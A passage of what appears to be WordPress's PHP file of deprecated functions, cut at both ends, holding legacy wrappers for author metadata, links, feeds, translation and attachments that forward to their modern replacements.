	$args = compact('type', 'limit', 'format', 'before', 'after', 'show_post_count');
	return wp_get_archives($args);
}

/**
 * Returns or Prints link to the author's posts.
 *
 * @since 1.2.0
 * @deprecated 2.1.0 Use get_author_posts_url()
 * @see get_author_posts_url()
 *
 * @param bool $display
 * @param int $author_id
 * @param string $author_nicename Optional.
 * @return string|null
 */
function get_author_link($display, $author_id, $author_nicename = '') {
	_deprecated_function( __FUNCTION__, '2.1.0', 'get_author_posts_url()' );

	$link = get_author_posts_url($author_id, $author_nicename);

	if ( $display )
		echo $link;
	return $link;
}

/**
 * Print list of pages based on arguments.
 *
 * @since 0.71
 * @deprecated 2.1.0 Use wp_link_pages()
 * @see wp_link_pages()
 *
 * @param string $before
 * @param string $after
 * @param string $next_or_number
 * @param string $nextpagelink
 * @param string $previouspagelink
 * @param string $pagelink
 * @param string $more_file
 * @return string
 */
function link_pages($before='<br />', $after='<br />', $next_or_number='number', $nextpagelink='next page', $previouspagelink='previous page',
					$pagelink='%', $more_file='') {
	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_link_pages()' );

	$args = compact('before', 'after', 'next_or_number', 'nextpagelink', 'previouspagelink', 'pagelink', 'more_file');
	return wp_link_pages($args);
}

/**
 * Get value based on option.
 *
 * @since 0.71
 * @deprecated 2.1.0 Use get_option()
 * @see get_option()
 *
 * @param string $option
 * @return string
 */
function get_settings($option) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'get_option()' );

	return get_option($option);
}

/**
 * Print the permalink of the current post in the loop.
 *
 * @since 0.71
 * @deprecated 1.2.0 Use the_permalink()
 * @see the_permalink()
 */
function permalink_link() {
	_deprecated_function( __FUNCTION__, '1.2.0', 'the_permalink()' );
	the_permalink();
}

/**
 * Print the permalink to the RSS feed.
 *
 * @since 0.71
 * @deprecated 2.3.0 Use the_permalink_rss()
 * @see the_permalink_rss()
 *
 * @param string $deprecated
 */
function permalink_single_rss($deprecated = '') {
	_deprecated_function( __FUNCTION__, '2.3.0', 'the_permalink_rss()' );
	the_permalink_rss();
}

/**
 * Gets the links associated with category.
 *
 * @since 1.0.1
 * @deprecated 2.1.0 Use wp_list_bookmarks()
 * @see wp_list_bookmarks()
 *
 * @param string $args a query string
 * @return null|string
 */
function wp_get_links($args = '') {
	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_list_bookmarks()' );

	if ( ! str_contains( $args, '=' ) ) {
		$cat_id = $args;
		$args = add_query_arg( 'category', $cat_id, $args );
	}

	$defaults = array(
		'after' => '<br />',
		'before' => '',
		'between' => ' ',
		'categorize' => 0,
		'category' => '',
		'echo' => true,
		'limit' => -1,
		'orderby' => 'name',
		'show_description' => true,
		'show_images' => true,
		'show_rating' => false,
		'show_updated' => true,
		'title_li' => '',
	);

	$parsed_args = wp_parse_args( $args, $defaults );

	return wp_list_bookmarks($parsed_args);
}

/**
 * Gets the links associated with category by ID.
 *
 * @since 0.71
 * @deprecated 2.1.0 Use get_bookmarks()
 * @see get_bookmarks()
 *
 * @param int    $category         Optional. The category to use. If no category supplied uses all.
 *                                 Default 0.
 * @param string $before           Optional. The HTML to output before the link. Default empty.
 * @param string $after            Optional. The HTML to output after the link. Default '<br />'.
 * @param string $between          Optional. The HTML to output between the link/image and its description.
 *                                 Not used if no image or $show_images is true. Default ' '.
 * @param bool   $show_images      Optional. Whether to show images (if defined). Default true.
 * @param string $orderby          Optional. The order to output the links. E.g. 'id', 'name', 'url',
 *                                 'description', 'rating', or 'owner'. Default 'name'.
 *                                 If you start the name with an underscore, the order will be reversed.
 *                                 Specifying 'rand' as the order will return links in a random order.
 * @param bool   $show_description Optional. Whether to show the description if show_images=false/not defined.
 *                                 Default true.
 * @param bool   $show_rating      Optional. Show rating stars/chars. Default false.
 * @param int    $limit            Optional. Limit to X entries. If not specified, all entries are shown.
 *                                 Default -1.
 * @param int    $show_updated     Optional. Whether to show last updated timestamp. Default 1.
 * @param bool   $display          Whether to display the results, or return them instead.
 * @return null|string
 */
function get_links($category = -1, $before = '', $after = '<br />', $between = ' ', $show_images = true, $orderby = 'name',
			$show_description = true, $show_rating = false, $limit = -1, $show_updated = 1, $display = true) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmarks()' );

	$order = 'ASC';
	if ( str_starts_with($orderby, '_') ) {
		$order = 'DESC';
		$orderby = substr($orderby, 1);
	}

	if ( $category == -1 ) // get_bookmarks() uses '' to signify all categories.
		$category = '';

	$results = get_bookmarks(array('category' => $category, 'orderby' => $orderby, 'order' => $order, 'show_updated' => $show_updated, 'limit' => $limit));

	if ( !$results )
		return;

	$output = '';

	foreach ( (array) $results as $row ) {
		if ( !isset($row->recently_updated) )
			$row->recently_updated = false;
		$output .= $before;
		if ( $show_updated && $row->recently_updated )
			$output .= get_option('links_recently_updated_prepend');
		$the_link = '#';
		if ( !empty($row->link_url) )
			$the_link = esc_url($row->link_url);
		$rel = $row->link_rel;
		if ( '' != $rel )
			$rel = ' rel="' . $rel . '"';

		$desc = esc_attr(sanitize_bookmark_field('link_description', $row->link_description, $row->link_id, 'display'));
		$name = esc_attr(sanitize_bookmark_field('link_name', $row->link_name, $row->link_id, 'display'));
		$title = $desc;

		if ( $show_updated )
			if ( !str_starts_with($row->link_updated_f, '00') )
				$title .= ' ('.__('Last updated') . ' ' . gmdate(get_option('links_updated_date_format'), $row->link_updated_f + (get_option('gmt_offset') * HOUR_IN_SECONDS)) . ')';

		if ( '' != $title )
			$title = ' title="' . $title . '"';

		$alt = ' alt="' . $name . '"';

		$target = $row->link_target;
		if ( '' != $target )
			$target = ' target="' . $target . '"';

		$output .= '<a href="' . $the_link . '"' . $rel . $title . $target. '>';

		if ( '' != $row->link_image && $show_images ) {
			if ( str_contains( $row->link_image, 'http' ) )
				$output .= '<img src="' . $row->link_image . '"' . $alt . $title . ' />';
			else // If it's a relative path.
				$output .= '<img src="' . get_option('siteurl') . $row->link_image . '"' . $alt . $title . ' />';
		} else {
			$output .= $name;
		}

		$output .= '</a>';

		if ( $show_updated && $row->recently_updated )
			$output .= get_option('links_recently_updated_append');

		if ( $show_description && '' != $desc )
			$output .= $between . $desc;

		if ($show_rating) {
			$output .= $between . get_linkrating($row);
		}

		$output .= "$after\n";
	} // End while.

	if ( !$display )
		return $output;
	echo $output;
}

/**
 * Output entire list of links by category.
 *
 * Output a list of all links, listed by category, using the settings in
 * $wpdb->linkcategories and output it as a nested HTML unordered list.
 *
 * @since 1.0.1
 * @deprecated 2.1.0 Use wp_list_bookmarks()
 * @see wp_list_bookmarks()
 *
 * @param string $order Sort link categories by 'name' or 'id'
 */
function get_links_list($order = 'name') {
	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_list_bookmarks()' );

	$order = strtolower($order);

	// Handle link category sorting.
	$direction = 'ASC';
	if ( str_starts_with( $order, '_' ) ) {
		$direction = 'DESC';
		$order = substr($order,1);
	}

	if ( !isset($direction) )
		$direction = '';

	$cats = get_categories(array('type' => 'link', 'orderby' => $order, 'order' => $direction, 'hierarchical' => 0));

	// Display each category.
	if ( $cats ) {
		foreach ( (array) $cats as $cat ) {
			// Handle each category.

			// Display the category name.
			echo '  <li id="linkcat-' . $cat->term_id . '" class="linkcat"><h2>' . apply_filters('link_category', $cat->name ) . "</h2>\n\t<ul>\n";
			// Call get_links() with all the appropriate params.
			get_links($cat->term_id, '<li>', "</li>", "\n", true, 'name', false);

			// Close the last category.
			echo "\n\t</ul>\n</li>\n";
		}
	}
}

/**
 * Show the link to the links popup and the number of links.
 *
 * @since 0.71
 * @deprecated 2.1.0
 *
 * @param string $text the text of the link
 * @param int $width the width of the popup window
 * @param int $height the height of the popup window
 * @param string $file the page to open in the popup window
 * @param bool $count the number of links in the db
 */
function links_popup_script($text = 'Links', $width=400, $height=400, $file='links.all.php', $count = true) {
	_deprecated_function( __FUNCTION__, '2.1.0' );
}

/**
 * Legacy function that retrieved the value of a link's link_rating field.
 *
 * @since 1.0.1
 * @deprecated 2.1.0 Use sanitize_bookmark_field()
 * @see sanitize_bookmark_field()
 *
 * @param object $link Link object.
 * @return mixed Value of the 'link_rating' field, false otherwise.
 */
function get_linkrating( $link ) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'sanitize_bookmark_field()' );
	return sanitize_bookmark_field('link_rating', $link->link_rating, $link->link_id, 'display');
}

/**
 * Gets the name of category by ID.
 *
 * @since 0.71
 * @deprecated 2.1.0 Use get_category()
 * @see get_category()
 *
 * @param int $id The category to get. If no category supplied uses 0
 * @return string
 */
function get_linkcatname($id = 0) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'get_category()' );

	$id = (int) $id;

	if ( empty($id) )
		return '';

	$cats = wp_get_link_cats($id);

	if ( empty($cats) || ! is_array($cats) )
		return '';

	$cat_id = (int) $cats[0]; // Take the first cat.

	$cat = get_category($cat_id);
	return $cat->name;
}

/**
 * Print RSS comment feed link.
 *
 * @since 1.0.1
 * @deprecated 2.5.0 Use post_comments_feed_link()
 * @see post_comments_feed_link()
 *
 * @param string $link_text
 */
function comments_rss_link($link_text = 'Comments RSS') {
	_deprecated_function( __FUNCTION__, '2.5.0', 'post_comments_feed_link()' );
	post_comments_feed_link($link_text);
}

/**
 * Print/Return link to category RSS2 feed.
 *
 * @since 1.2.0
 * @deprecated 2.5.0 Use get_category_feed_link()
 * @see get_category_feed_link()
 *
 * @param bool $display
 * @param int $cat_id
 * @return string
 */
function get_category_rss_link($display = false, $cat_id = 1) {
	_deprecated_function( __FUNCTION__, '2.5.0', 'get_category_feed_link()' );

	$link = get_category_feed_link($cat_id, 'rss2');

	if ( $display )
		echo $link;
	return $link;
}

/**
 * Print/Return link to author RSS feed.
 *
 * @since 1.2.0
 * @deprecated 2.5.0 Use get_author_feed_link()
 * @see get_author_feed_link()
 *
 * @param bool $display
 * @param int $author_id
 * @return string
 */
function get_author_rss_link($display = false, $author_id = 1) {
	_deprecated_function( __FUNCTION__, '2.5.0', 'get_author_feed_link()' );

	$link = get_author_feed_link($author_id);
	if ( $display )
		echo $link;
	return $link;
}

/**
 * Return link to the post RSS feed.
 *
 * @since 1.5.0
 * @deprecated 2.2.0 Use get_post_comments_feed_link()
 * @see get_post_comments_feed_link()
 *
 * @return string
 */
function comments_rss() {
	_deprecated_function( __FUNCTION__, '2.2.0', 'get_post_comments_feed_link()' );
	return esc_url( get_post_comments_feed_link() );
}

/**
 * An alias of wp_create_user().
 *
 * @since 2.0.0
 * @deprecated 2.0.0 Use wp_create_user()
 * @see wp_create_user()
 *
 * @param string $username The user's username.
 * @param string $password The user's password.
 * @param string $email    The user's email.
 * @return int The new user's ID.
 */
function create_user($username, $password, $email) {
	_deprecated_function( __FUNCTION__, '2.0.0', 'wp_create_user()' );
	return wp_create_user($username, $password, $email);
}

/**
 * Unused function.
 *
 * @deprecated 2.5.0
 */
function gzip_compression() {
	_deprecated_function( __FUNCTION__, '2.5.0' );
	return false;
}

/**
 * Retrieve an array of comment data about comment $comment_id.
 *
 * @since 0.71
 * @deprecated 2.7.0 Use get_comment()
 * @see get_comment()
 *
 * @param int $comment_id The ID of the comment
 * @param int $no_cache Whether to use the cache (cast to bool)
 * @param bool $include_unapproved Whether to include unapproved comments
 * @return array The comment data
 */
function get_commentdata( $comment_id, $no_cache = 0, $include_unapproved = false ) {
	_deprecated_function( __FUNCTION__, '2.7.0', 'get_comment()' );
	return get_comment($comment_id, ARRAY_A);
}

/**
 * Retrieve the category name by the category ID.
 *
 * @since 0.71
 * @deprecated 2.8.0 Use get_cat_name()
 * @see get_cat_name()
 *
 * @param int $cat_id Category ID
 * @return string category name
 */
function get_catname( $cat_id ) {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_cat_name()' );
	return get_cat_name( $cat_id );
}

/**
 * Retrieve category children list separated before and after the term IDs.
 *
 * @since 1.2.0
 * @deprecated 2.8.0 Use get_term_children()
 * @see get_term_children()
 *
 * @param int    $id      Category ID to retrieve children.
 * @param string $before  Optional. Prepend before category term ID. Default '/'.
 * @param string $after   Optional. Append after category term ID. Default empty string.
 * @param array  $visited Optional. Category Term IDs that have already been added.
 *                        Default empty array.
 * @return string
 */
function get_category_children( $id, $before = '/', $after = '', $visited = array() ) {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_term_children()' );
	if ( 0 == $id )
		return '';

	$chain = '';
	/** TODO: Consult hierarchy */
	$cat_ids = get_all_category_ids();
	foreach ( (array) $cat_ids as $cat_id ) {
		if ( $cat_id == $id )
			continue;

		$category = get_category( $cat_id );
		if ( is_wp_error( $category ) )
			return $category;
		if ( $category->parent == $id && !in_array( $category->term_id, $visited ) ) {
			$visited[] = $category->term_id;
			$chain .= $before.$category->term_id.$after;
			$chain .= get_category_children( $category->term_id, $before, $after );
		}
	}
	return $chain;
}

/**
 * Retrieves all category IDs.
 *
 * @since 2.0.0
 * @deprecated 4.0.0 Use get_terms()
 * @see get_terms()
 *
 * @link https://developer.wordpress.org/reference/functions/get_all_category_ids/
 *
 * @return int[] List of all of the category IDs.
 */
function get_all_category_ids() {
	_deprecated_function( __FUNCTION__, '4.0.0', 'get_terms()' );

	$cat_ids = get_terms(
		array(
			'taxonomy' => 'category',
			'fields'   => 'ids',
			'get'      => 'all',
		)
	);

	return $cat_ids;
}

/**
 * Retrieve the description of the author of the current post.
 *
 * @since 1.5.0
 * @deprecated 2.8.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @return string The author's description.
 */
function get_the_author_description() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'description\')' );
	return get_the_author_meta('description');
}

/**
 * Display the description of the author of the current post.
 *
 * @since 1.0.0
 * @deprecated 2.8.0 Use the_author_meta()
 * @see the_author_meta()
 */
function the_author_description() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'description\')' );
	the_author_meta('description');
}

/**
 * Retrieve the login name of the author of the current post.
 *
 * @since 1.5.0
 * @deprecated 2.8.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @return string The author's login name (username).
 */
function get_the_author_login() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'login\')' );
	return get_the_author_meta('login');
}

/**
 * Display the login name of the author of the current post.
 *
 * @since 0.71
 * @deprecated 2.8.0 Use the_author_meta()
 * @see the_author_meta()
 */
function the_author_login() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'login\')' );
	the_author_meta('login');
}

/**
 * Retrieve the first name of the author of the current post.
 *
 * @since 1.5.0
 * @deprecated 2.8.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @return string The author's first name.
 */
function get_the_author_firstname() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'first_name\')' );
	return get_the_author_meta('first_name');
}

/**
 * Display the first name of the author of the current post.
 *
 * @since 0.71
 * @deprecated 2.8.0 Use the_author_meta()
 * @see the_author_meta()
 */
function the_author_firstname() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'first_name\')' );
	the_author_meta('first_name');
}

/**
 * Retrieve the last name of the author of the current post.
 *
 * @since 1.5.0
 * @deprecated 2.8.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @return string The author's last name.
 */
function get_the_author_lastname() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'last_name\')' );
	return get_the_author_meta('last_name');
}

/**
 * Display the last name of the author of the current post.
 *
 * @since 0.71
 * @deprecated 2.8.0 Use the_author_meta()
 * @see the_author_meta()
 */
function the_author_lastname() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'last_name\')' );
	the_author_meta('last_name');
}

/**
 * Retrieve the nickname of the author of the current post.
 *
 * @since 1.5.0
 * @deprecated 2.8.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @return string The author's nickname.
 */
function get_the_author_nickname() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'nickname\')' );
	return get_the_author_meta('nickname');
}

/**
 * Display the nickname of the author of the current post.
 *
 * @since 0.71
 * @deprecated 2.8.0 Use the_author_meta()
 * @see the_author_meta()
 */
function the_author_nickname() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'nickname\')' );
	the_author_meta('nickname');
}

/**
 * Retrieve the email of the author of the current post.
 *
 * @since 1.5.0
 * @deprecated 2.8.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @return string The author's username.
 */
function get_the_author_email() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'email\')' );
	return get_the_author_meta('email');
}

/**
 * Display the email of the author of the current post.
 *
 * @since 0.71
 * @deprecated 2.8.0 Use the_author_meta()
 * @see the_author_meta()
 */
function the_author_email() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'email\')' );
	the_author_meta('email');
}

/**
 * Retrieve the ICQ number of the author of the current post.
 *
 * @since 1.5.0
 * @deprecated 2.8.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @return string The author's ICQ number.
 */
function get_the_author_icq() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'icq\')' );
	return get_the_author_meta('icq');
}

/**
 * Display the ICQ number of the author of the current post.
 *
 * @since 0.71
 * @deprecated 2.8.0 Use the_author_meta()
 * @see the_author_meta()
 */
function the_author_icq() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'icq\')' );
	the_author_meta('icq');
}

/**
 * Retrieve the Yahoo! IM name of the author of the current post.
 *
 * @since 1.5.0
 * @deprecated 2.8.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @return string The author's Yahoo! IM name.
 */
function get_the_author_yim() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'yim\')' );
	return get_the_author_meta('yim');
}

/**
 * Display the Yahoo! IM name of the author of the current post.
 *
 * @since 0.71
 * @deprecated 2.8.0 Use the_author_meta()
 * @see the_author_meta()
 */
function the_author_yim() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'yim\')' );
	the_author_meta('yim');
}

/**
 * Retrieve the MSN address of the author of the current post.
 *
 * @since 1.5.0
 * @deprecated 2.8.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @return string The author's MSN address.
 */
function get_the_author_msn() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'msn\')' );
	return get_the_author_meta('msn');
}

/**
 * Display the MSN address of the author of the current post.
 *
 * @since 0.71
 * @deprecated 2.8.0 Use the_author_meta()
 * @see the_author_meta()
 */
function the_author_msn() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'msn\')' );
	the_author_meta('msn');
}

/**
 * Retrieve the AIM address of the author of the current post.
 *
 * @since 1.5.0
 * @deprecated 2.8.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @return string The author's AIM address.
 */
function get_the_author_aim() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'aim\')' );
	return get_the_author_meta('aim');
}

/**
 * Display the AIM address of the author of the current post.
 *
 * @since 0.71
 * @deprecated 2.8.0 Use the_author_meta('aim')
 * @see the_author_meta()
 */
function the_author_aim() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'aim\')' );
	the_author_meta('aim');
}

/**
 * Retrieve the specified author's preferred display name.
 *
 * @since 1.0.0
 * @deprecated 2.8.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @param int $auth_id The ID of the author.
 * @return string The author's display name.
 */
function get_author_name( $auth_id = false ) {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'display_name\')' );
	return get_the_author_meta('display_name', $auth_id);
}

/**
 * Retrieve the URL to the home page of the author of the current post.
 *
 * @since 1.5.0
 * @deprecated 2.8.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @return string The URL to the author's page.
 */
function get_the_author_url() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'url\')' );
	return get_the_author_meta('url');
}

/**
 * Display the URL to the home page of the author of the current post.
 *
 * @since 0.71
 * @deprecated 2.8.0 Use the_author_meta()
 * @see the_author_meta()
 */
function the_author_url() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'url\')' );
	the_author_meta('url');
}

/**
 * Retrieve the ID of the author of the current post.
 *
 * @since 1.5.0
 * @deprecated 2.8.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @return string|int The author's ID.
 */
function get_the_author_ID() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'ID\')' );
	return get_the_author_meta('ID');
}

/**
 * Display the ID of the author of the current post.
 *
 * @since 0.71
 * @deprecated 2.8.0 Use the_author_meta()
 * @see the_author_meta()
 */
function the_author_ID() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'ID\')' );
	the_author_meta('ID');
}

/**
 * Display the post content for the feed.
 *
 * For encoding the HTML or the $encode_html parameter, there are three possible values:
 * - '0' will make urls footnotes and use make_url_footnote().
 * - '1' will encode special characters and automatically display all of the content.
 * - '2' will strip all HTML tags from the content.
 *
 * Also note that you cannot set the amount of words and not set the HTML encoding.
 * If that is the case, then the HTML encoding will default to 2, which will strip
 * all HTML tags.
 *
 * To restrict the amount of words of the content, you can use the cut parameter.
 * If the content is less than the amount, then there won't be any dots added to the end.
 * If there is content left over, then dots will be added and the rest of the content
 * will be removed.
 *
 * @since 0.71
 *
 * @deprecated 2.9.0 Use the_content_feed()
 * @see the_content_feed()
 *
 * @param string $more_link_text Optional. Text to display when more content is available
 *                               but not displayed. Default '(more...)'.
 * @param int    $stripteaser    Optional. Default 0.
 * @param string $more_file      Optional.
 * @param int    $cut            Optional. Amount of words to keep for the content.
 * @param int    $encode_html    Optional. How to encode the content.
 */
function the_content_rss($more_link_text='(more...)', $stripteaser=0, $more_file='', $cut = 0, $encode_html = 0) {
	_deprecated_function( __FUNCTION__, '2.9.0', 'the_content_feed()' );
	$content = get_the_content($more_link_text, $stripteaser);

	/**
	 * Filters the post content in the context of an RSS feed.
	 *
	 * @since 0.71
	 *
	 * @param string $content Content of the current post.
	 */
	$content = apply_filters('the_content_rss', $content);
	if ( $cut && !$encode_html )
		$encode_html = 2;
	if ( 1== $encode_html ) {
		$content = esc_html($content);
		$cut = 0;
	} elseif ( 0 == $encode_html ) {
		$content = make_url_footnote($content);
	} elseif ( 2 == $encode_html ) {
		$content = strip_tags($content);
	}
	if ( $cut ) {
		$blah = explode(' ', $content);
		if ( count($blah) > $cut ) {
			$k = $cut;
			$use_dotdotdot = 1;
		} else {
			$k = count($blah);
			$use_dotdotdot = 0;
		}

		/** @todo Check performance, might be faster to use array slice instead. */
		for ( $i=0; $i<$k; $i++ )
			$excerpt .= $blah[$i].' ';
		$excerpt .= ($use_dotdotdot) ? '...' : '';
		$content = $excerpt;
	}
	$content = str_replace(']]>', ']]&gt;', $content);
	echo $content;
}

/**
 * Strip HTML and put links at the bottom of stripped content.
 *
 * Searches for all of the links, strips them out of the content, and places
 * them at the bottom of the content with numbers.
 *
 * @since 0.71
 * @deprecated 2.9.0
 *
 * @param string $content Content to get links.
 * @return string HTML stripped out of content with links at the bottom.
 */
function make_url_footnote( $content ) {
	_deprecated_function( __FUNCTION__, '2.9.0', '' );
	preg_match_all( '/<a(.+?)href=\"(.+?)\"(.*?)>(.+?)<\/a>/', $content, $matches );
	$links_summary = "\n";
	for ( $i = 0, $c = count( $matches[0] ); $i < $c; $i++ ) {
		$link_match = $matches[0][$i];
		$link_number = '['.($i+1).']';
		$link_url = $matches[2][$i];
		$link_text = $matches[4][$i];
		$content = str_replace( $link_match, $link_text . ' ' . $link_number, $content );
		$link_url = ( ( strtolower( substr( $link_url, 0, 7 ) ) !== 'http://' ) && ( strtolower( substr( $link_url, 0, 8 ) ) !== 'https://' ) ) ? get_option( 'home' ) . $link_url : $link_url;
		$links_summary .= "\n" . $link_number . ' ' . $link_url;
	}
	$content  = strip_tags( $content );
	$content .= $links_summary;
	return $content;
}

/**
 * Retrieve translated string with vertical bar context
 *
 * Quite a few times, there will be collisions with similar translatable text
 * found in more than two places but with different translated context.
 *
 * In order to use the separate contexts, the _c() function is used and the
 * translatable string uses a pipe ('|') which has the context the string is in.
 *
 * When the translated string is returned, it is everything before the pipe, not
 * including the pipe character. If there is no pipe in the translated text then
 * everything is returned.
 *
 * @since 2.2.0
 * @deprecated 2.9.0 Use _x()
 * @see _x()
 *
 * @param string $text Text to translate.
 * @param string $domain Optional. Domain to retrieve the translated text.
 * @return string Translated context string without pipe.
 */
function _c( $text, $domain = 'default' ) {
	_deprecated_function( __FUNCTION__, '2.9.0', '_x()' );
	return before_last_bar( translate( $text, $domain ) );
}

/**
 * Translates $text like translate(), but assumes that the text
 * contains a context after its last vertical bar.
 *
 * @since 2.5.0
 * @deprecated 3.0.0 Use _x()
 * @see _x()
 *
 * @param string $text Text to translate.
 * @param string $domain Domain to retrieve the translated text.
 * @return string Translated text.
 */
function translate_with_context( $text, $domain = 'default' ) {
	_deprecated_function( __FUNCTION__, '2.9.0', '_x()' );
	return before_last_bar( translate( $text, $domain ) );
}

/**
 * Legacy version of _n(), which supports contexts.
 *
 * Strips everything from the translation after the last bar.
 *
 * @since 2.7.0
 * @deprecated 3.0.0 Use _nx()
 * @see _nx()
 *
 * @param string $single The text to be used if the number is singular.
 * @param string $plural The text to be used if the number is plural.
 * @param int    $number The number to compare against to use either the singular or plural form.
 * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
 *                       Default 'default'.
 * @return string The translated singular or plural form.
 */
function _nc( $single, $plural, $number, $domain = 'default' ) {
	_deprecated_function( __FUNCTION__, '2.9.0', '_nx()' );
	return before_last_bar( _n( $single, $plural, $number, $domain ) );
}

/**
 * Retrieve the plural or single form based on the amount.
 *
 * @since 1.2.0
 * @deprecated 2.8.0 Use _n()
 * @see _n()
 */
function __ngettext( ...$args ) { // phpcs:ignore PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
	_deprecated_function( __FUNCTION__, '2.8.0', '_n()' );
	return _n( ...$args );
}

/**
 * Register plural strings in POT file, but don't translate them.
 *
 * @since 2.5.0
 * @deprecated 2.8.0 Use _n_noop()
 * @see _n_noop()
 */
function __ngettext_noop( ...$args ) { // phpcs:ignore PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
	_deprecated_function( __FUNCTION__, '2.8.0', '_n_noop()' );
	return _n_noop( ...$args );

}

/**
 * Retrieve all autoload options, or all options if no autoloaded ones exist.
 *
 * @since 1.0.0
 * @deprecated 3.0.0 Use wp_load_alloptions())
 * @see wp_load_alloptions()
 *
 * @return array List of all options.
 */
function get_alloptions() {
	_deprecated_function( __FUNCTION__, '3.0.0', 'wp_load_alloptions()' );
	return wp_load_alloptions();
}

/**
 * Retrieve HTML content of attachment image with link.
 *
 * @since 2.0.0
 * @deprecated 2.5.0 Use wp_get_attachment_link()
 * @see wp_get_attachment_link()
 *
 * @param int   $id       Optional. Post ID.
 * @param bool  $fullsize Optional. Whether to use full size image. Default false.
 * @param array $max_dims Optional. Max image dimensions.
 * @param bool $permalink Optional. Whether to include permalink to image. Default false.
 * @return string
 */
function get_the_attachment_link($id = 0, $fullsize = false, $max_dims = false, $permalink = false) {
	_deprecated_function( __FUNCTION__, '2.5.0', 'wp_get_attachment_link()' );
	$id = (int) $id;
	$_post = get_post($id);

	if ( ('attachment' != $_post->post_type) || !$url = wp_get_attachment_url($_post->ID) )
		return __('Missing Attachment');

	if ( $permalink )
		$url = get_attachment_link($_post->ID);

	$post_title = esc_attr($_post->post_title);

	$innerHTML = get_attachment_innerHTML($_post->ID, $fullsize, $max_dims);
	return "<a href='$url' title='$post_title'>$innerHTML</a>";
}

/**
 * Retrieve icon URL and Path.
 *
 * @since 2.1.0
 * @deprecated 2.5.0 Use wp_get_attachment_image_src()
 * @see wp_get_attachment_image_src()
 *
 * @param int  $id       Optional. Post ID.
 * @param bool $fullsize Optional. Whether to have full image. Default false.
 * @return array Icon URL and full path to file, respectively.
 */
function get_attachment_icon_src( $id = 0, $fullsize = false ) {
	_deprecated_function( __FUNCTION__, '2.5.0', 'wp_get_attachment_image_src()' );
	$id = (int) $id;
	if ( !$post = get_post($id) )
		return false;

	$file = get_attached_file( $post->ID );

	if ( !$fullsize && $src = wp_get_attachment_thumb_url( $post->ID ) ) {
		// We have a thumbnail desired, specified and existing.

		$src_file = wp_basename($src);
	} elseif ( wp_attachment_is_image( $post->ID ) ) {
		// We have an image without a thumbnail.

		$src = wp_get_attachment_url( $post->ID );
		$src_file = & $file;
	} elseif ( $src = wp_mime_type_icon( $post->ID, '.svg' ) ) {
		// No thumb, no image. We'll look for a mime-related icon instead.

		/** This filter is documented in wp-includes/post.php */
		$icon_dir = apply_filters( 'icon_dir', get_template_directory() . '/images' );
		$src_file = $icon_dir . '/' . wp_basename($src);
	}

	if ( !isset($src) || !$src )
		return false;

	return array($src, $src_file);
}

/**
 * Retrieve HTML content of icon attachment image element.
 *
 * @since 2.0.0
 * @deprecated 2.5.0 Use wp_get_attachment_image()
 * @see wp_get_attachment_image()
 *
 * @param int   $id       Optional. Post ID.
 * @param bool  $fullsize Optional. Whether to have full size image. Default false.
 * @param array $max_dims Optional. Dimensions of image.
 * @return string|false HTML content.
 */
function get_attachment_icon( $id = 0, $fullsize = false, $max_dims = false ) {
	_deprecated_function( __FUNCTION__, '2.5.0', 'wp_get_attachment_image()' );
	$id = (int) $id;
	if ( !$post = get_post($id) )
		return false;

